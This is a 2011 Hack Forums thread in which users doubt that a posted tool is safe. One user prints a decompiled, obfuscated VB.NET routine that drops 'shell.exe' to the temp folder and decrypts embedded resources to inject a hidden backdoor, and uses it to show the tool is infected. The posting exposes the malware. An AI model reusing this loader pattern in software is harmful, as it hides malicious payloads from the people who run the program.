PlastationN - August 25, 2011, 5:01 am

Is someone can confirm this version isn't backdoored?

Porch Monkey - August 25, 2011, 5:03 am

i no i cant talk... but 1 post lol i dont trust it

Skar3 - August 25, 2011, 5:03 am

There is already my thread: <https://hackforums.net/showthread.php?tid=1511239>

Yeah, I will not execute this program without vouches :P

Complex - August 25, 2011, 5:08 am

1 post. Says it isn't infected. Anyone confirm if it is or isn't?

duke565 - August 25, 2011, 5:53 am

No download!! backdoor WTF!! bAD! ppc no download

StaTiX - August 25, 2011, 5:55 am

oh snap

Code Public Shared Sub Main()

If Not MyProject.Computer.FileSystem.FileExists((Path.GetTempPath & "shell.exe")) Then
TixzAGJOivgMIPr.zlXEZYPpPXGurWV("shell.exe")
End If

Dim manager As New ResourceManager("BvDTgVNIcQgnZuX",
Assembly.GetExecutingAssembly)

Dim rygDIadZMIWhCKK As String = "NZOeZABoKJThKfmGcFnRrKHPwNxKhx"
Dim bytes As Byte() =

Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.
GetObject("kRUCjkWSUp")), rygDIadZMIWhCKK, &H25))

Dim assByte As Byte() =
Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.
GetObject("nLsYmgXrte")), rygDIadZMIWhCKK, &H25))

Try
Dim rUSMCTKjkLwfHpG As String = "zero"
Dim dYtYJAeSoLeotjl As String = "zero"
TixzAGJOivgMIPr.AsOXoJiZBbsprcl((assByte), (rUSMCTKjkLwfHpG), (dYtYJAeSoLeotjl), (bytes),
"", Application.ExecutablePath, "shell.exe", True)

```
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
ProjectData.ClearProjectError
End Try
End Sub
```

Yep its backdoored, i wonder what kind of crypter is this , ive seen like 5 backdoors with this crypter already down here
